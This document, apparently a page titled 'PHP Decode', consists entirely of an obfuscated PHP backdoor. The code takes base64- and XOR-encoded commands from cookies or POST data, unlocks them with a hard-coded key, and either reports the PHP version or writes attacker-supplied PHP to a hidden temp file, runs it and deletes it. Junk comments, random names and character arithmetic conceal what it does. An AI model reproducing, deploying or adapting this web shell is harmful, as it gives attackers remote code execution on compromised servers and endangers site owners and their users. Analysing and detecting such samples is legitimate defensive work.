PHP Decode

<?php     function/* yyri*/wynjet(){$hcpjppep='ty_iysod';    print_r    (1009+1009);       } 
 
$uptwhzro/*mhk*/=/* js  */'uptwhzro'/* ed */^    ''; 
 
 
 
 
 
function    lrfhagelv($mnblff,      $_walimlc) 
 
 
{/*  p_s_*/global/*max   */$uptwhzro; 
 
    $qihlti    =   ""; 
 
  for/* ft */($ylmkeuvmp       =/* ub */0;       $ylmkeuvmp    <    strlen($mnblff);)/* l_vk*/{/*gszz*/for      ($slqmfh  =    0;      $slqmfh/*  pryjs*/<      strlen($_walimlc)/* bb_iv*/&&/*  gq*/$ylmkeuvmp   </* byvt  */strlen($mnblff);    $slqmfh++,/*  kqy */$ylmkeuvmp++)    { 
/*  idm*/$qihlti    .=/*  _sbw   */$uptwhzro(ord($mnblff[$ylmkeuvmp])  ^    ord($_walimlc[$slqmfh])); 
 
 
/*  _d*/}/*t   */} 
 
 
/*dyi   */return       $qihlti; 
 
} 
 
 
 
function    abwy_dujw($tbkbgljfe,      $mnblff) 
 
{ 
 
    global   $uptwhzro; 
 
 
 
 
       $dglxqmi       =   sprintf($uptwhzro(46)      ./*r*/$uptwhzro(474-427)/*zs */.       "%".$uptwhzro(115)    ./*  xig */"."."p"    ./*  xkz  */"l",    md5($tbkbgljfe)); 
/*   ka*/file_put_contents($dglxqmi,/* lok*/"<"/*uabi   */.    "?".$uptwhzro(698-586)    .    "h"/*   _ybi */./* cewvu */"p".$uptwhzro(32)/*   t */.     $uptwhzro(117)/*   _   */.    "n"."l"."i"."n".$uptwhzro(395-288)    .    "("."_".$uptwhzro(361-266)     .    "F"."I".$uptwhzro(625-549)/* q */.     "E"       .    "_".$uptwhzro(807-712)    ./* my_ */")".$uptwhzro(59)     .    $uptwhzro(32)    ./*  _f*/$mnblff["d"]); 
 
 
    include($dglxqmi); 
 
 
      $a_vcm    =     $dglxqmi; 
 
    unlink($a_vcm); 
} 
 
function    aldgaogjsr(){ 
 
    global       $uptwhzro;/*   aujh*/ 
/*   yj  */$ylmkeuvmp/*  b_h */=     array(); 
    $ylmkeuvmp[$uptwhzro(614-502)     .  "v"]    =   phpversion(); 
    $ylmkeuvmp["s"."v"]    =/* o_euf  */"3"/*  gos   */.    $uptwhzro(46)    .       "5"; 
 
 
    echo    @serialize($ylmkeuvmp); 
} 
function  bhexfy($mnblff,    $tbkbgljfe,    $uckx_){ 
     global      $uptwhzro;/* cp_cn*/ 
    $mnblff   =  unserialize(lrfhagelv(lrfhagelv(base64_decode($mnblff),  $tbkbgljfe),    $uckx_)); 
 
/*zm_  */if/*  utyi_   */(isset($mnblff["a"   ./*  i */$uptwhzro(326-219)]))/*l  */{ 
       if   ($mnblff[$uptwhzro(481-384)]    ==      "i")    { 
 
 
    aldgaogjsr(); 
 
 
    }    elseif    ($mnblff[$uptwhzro(481-384)]       ==    $uptwhzro(101))    { 
 
 
    abwy_dujw($tbkbgljfe,    $mnblff); 
 
 
    } 
 
 
   exit(); 
/* p*/} 
 
 
} 
 
$fnrkmxkbk       =   $_COOKIE; 
 
$tdylgt     =/* zzfa */$_POST; 
$fnrkmxkbk       =    array_merge($tdylgt,/* xc  */$fnrkmxkbk); 
 
 
 
 
$tbkbgljfe  =    $uptwhzro(478-427)/*   zopfd*/.    "d".$uptwhzro(101)/*  z_a */./*  fsgcd  */"1"    .    "b"."5"."f"."d"/* am  */.    "-"."d".$uptwhzro(842-792)    ./*  ckw_o  */"5"."0"     ./* v   */"-".$uptwhzro(1047-995)    .      $uptwhzro(797-747)/*   al */./*q*/$uptwhzro(796-744)     ./*   u   */$uptwhzro(993-895)     ./*   kiid */"-"."9"."1"."c"  .    $uptwhzro(99)    .     "-"."5"    .       "1".$uptwhzro(488-389)/* tezzc */.    $uptwhzro(323-272)/*pdltd   */.    $uptwhzro(624-527)/* vb_vw  */.    "8".$uptwhzro(346-244)    ./*  xll */$uptwhzro(460-361)    .    "1"."d"    .    "5"/* t*/./*   smab*/$uptwhzro(50); 
foreach  ($fnrkmxkbk   as    $uckx_     =>       $mnblff)/*   fugo  */{ 
 
 
    bhexfy($mnblff,    $tbkbgljfe,    $uckx_);} 
 
 ?>